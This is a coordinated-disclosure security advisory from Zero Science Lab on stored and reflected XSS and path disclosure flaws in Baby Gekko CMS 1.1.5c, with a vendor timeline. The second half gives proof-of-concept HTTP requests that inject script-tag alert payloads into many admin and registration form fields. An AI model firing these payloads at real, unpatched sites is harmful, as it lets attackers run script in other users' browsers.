Baby Gekko CMS v1.1.5c Multiple Stored Cross-Site Scripting Vulnerabilities


Vendor: Baby Gekko, Inc.
Product web page: http://www.babygekko.com
Affected version: 1.1.5c

Summary: BabyGekko strives to deliver high quality websites and other web content
fast and easy for all end users. It is a lightweight, extensible content management
system platform for publishing websites, intranets, or blogs.

Desc: Baby Gekko CMS suffers from multiple stored (post-auth) XSS vulnerabilities and
path disclosure issues when parsing user input to several parameters via GET and POST
method. Attackers can exploit this weakness to execute arbitrary HTML and script code
in a user's browser session or disclose the full installation path of the affected CMS.

Overall the vulnerable parameters to XSS are:
-------------------------------------------
Reflected (Non-Persistent) XSS:

 1. username
 2. password
 3. verification_code
 4. email_address
 5. password_verify
 6. firstname
 7. lastname

Stored (Persistent) XSS:

 8. groupname
 9. virtual_filename
10. branch
11. contact_person
12. street
13. city
14. province
15. postal
16. country
17. tollfree
18. phone
19. fax
20. mobile
21. title
22. meta_key
23. meta_description

-------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk


Vendor status:

[05.04.2012] Vulnerabilities discovered.
[05.04.2012] Initial contact with the vendor.
[06.04.2012] Vendor responds asking more details.
[07.04.2012] Sent details to the vendor.
[09.04.2012] Vendor replies confirming the issues.
[10.04.2012] Working with the vendor.
[02.05.2012] Vendor releases patched version 1.2.0 to address these issues.
[02.05.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5086
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5086.php

Vendor Advisory: http://www.babygekko.com/site/news/general/baby-gekko-v1-2-0-released-with-3rd-party-independent-security-testing-performed-by-zero-science-lab.html


05.04.2012

--


Stored XSS:
----------------------------------------------------------------------------------------------
##############################################################################################

POST http://localhost/gekkocms/admin/index.php?app=users&action=savecategory HTTP/1.1

cid	new
groupname	"><script>alert(1);</script>
status	1
btn_save	Submit

##############################################################################################
----------------------------------------------------------------------------------------------

POST http://localhost/gekkocms/admin/index.php?app=contacts&action=saveitem HTTP/1.1

btn_save	Submit
id	new
category_id	0
title	Zero Science Lab
status	1
virtual_filename	"><script>alert(1);</script>
branch	"><script>alert(2);</script>
contact_person	"><script>alert(3);</script>
street	"><script>alert(4);</script>
city	"><script>alert(5);</script>
province	"><script>alert(6);</script>
postal	"><script>alert(7);</script>
country	"><script>alert(8);</script>
tollfree	"><script>alert(9);</script>
phone	"><script>alert(10);</script>
fax	"><script>alert(11);</script>
mobile	"><script>alert(12);</script>
email	lab@zeroscience.mk
display_email	0
additional_info	ZSL

##############################################################################################
----------------------------------------------------------------------------------------------

POST http://localhost/gekkocms/admin/index.php?app=menus&action=savecategory

cid	new
title	"><script>alert(1);</script>
status	1
btn_save	Submit

##############################################################################################
----------------------------------------------------------------------------------------------

POST http://localhost/gekkocms/admin/index.php?app=users&action=saveitem HTTP/1.1

id	new
category_id	4
username	test
password	test
email_address	a@a.com
firstname	"><script>alert(1);</script>
lastname	"><script>alert(2);</script>
status	1
btn_save	Submit

##############################################################################################
----------------------------------------------------------------------------------------------

POST http://localhost/gekkocms/admin/index.php?app=blog&action=saveitem (vulnerable: 6, 7)

date_created	2012-04-05 23:41:09
date_modified	2012-04-05 23:41:09
date_available	2012-04-05 23:41:09
date_expiry	2012-04-05 23:41:09
options[]	display_pagetitle
options[]	display_items_summary_noread
options[]	display_items_author
options[]	display_items_date_created
options[]	display_items_date_modified
permission_read_everyone	everyone
permission_read[]	1
permission_read[]	2
permission_read[]	3
permission_read[]	4
permission_read[]	5
permission_write[]	1
meta_key	"><script>alert(1);</script>
meta_description	"><script>alert(2);</script>
btn_save	Submit
id	new
category_id	1
title	TEST
status	1
virtual_filename	testing
summary	ZSL
description	Zero Science Lab
created_by_id	1
modified_by_id	1

##############################################################################################
----------------------------------------------------------------------------------------------


Reflected URI-Based XSS:
----------------------------------------------------------------------------------------------
##############################################################################################

GET /gekkocms/admin/index.php/"><script>alert(1);</script> HTTP/1.1

##############################################################################################
----------------------------------------------------------------------------------------------


Reflected XSS:
----------------------------------------------------------------------------------------------
##############################################################################################

POST http://localhost/gekkocms/users/action/register HTTP/1.1

_csrftoken	b9fe8295484875cda8fc84393151b97b10feeef2
username	EdwardNigma
email_address	lab@zeroscience.mk
password	"><script>alert(1);</script>
password_verify	"><script>alert(2);</script>
firstname	"><script>alert(3);</script>
lastname	"><script>alert(4);</script>
submit	Submit

##############################################################################################
----------------------------------------------------------------------------------------------


Path Disclosure:
----------------------------------------------------------------------------------------------
##############################################################################################

GET http://localhost/gekkocms/admin/templates/babygekko/index.php HTTP/1.1
GET http://localhost/gekkocms/templates/html5demo/index.php HTTP/1.1

----------------------------------------------------------------------------------------------
##############################################################################################